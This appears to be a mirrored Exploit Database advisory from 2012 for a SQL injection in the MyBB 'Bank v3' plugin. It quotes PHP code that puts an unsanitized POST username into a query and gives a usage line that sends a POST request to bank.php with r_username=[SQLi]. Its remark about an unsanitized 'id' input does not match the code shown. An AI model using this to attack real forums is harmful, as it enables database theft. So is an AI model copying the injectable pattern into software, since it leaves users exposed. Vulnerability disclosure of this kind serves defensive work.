MyBB Bank- 3 Plugin – SQL Injection

Exploit Database
105 阅读

作者： Red_Hat

日期： 2012-12-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/23284/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

# Exploit Title: Bank v3 MyBB plugin SQLi 0day

# Exploit Author: Red_Hat [NullSec]

# Software Link: http://mods.mybb.com/download/bank-v3

# Tested on: Windows & Linux.

Vulnerable code :

<?php

$user=$_POST['r_username'];

$pay=intval($_POST['r_pay']);

$query_r=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$user'");

$fetch=$db->fetch_array($query_r);

?>

The variable '$mybb->input['id']' remains unsanitized.

Usage :

http://www.site.com/bank.php

/GET transactions=send

/POST r_pay=Red_Hat&r_username=[SQLi]

Shoutout to Zixem <3 & NullSec :3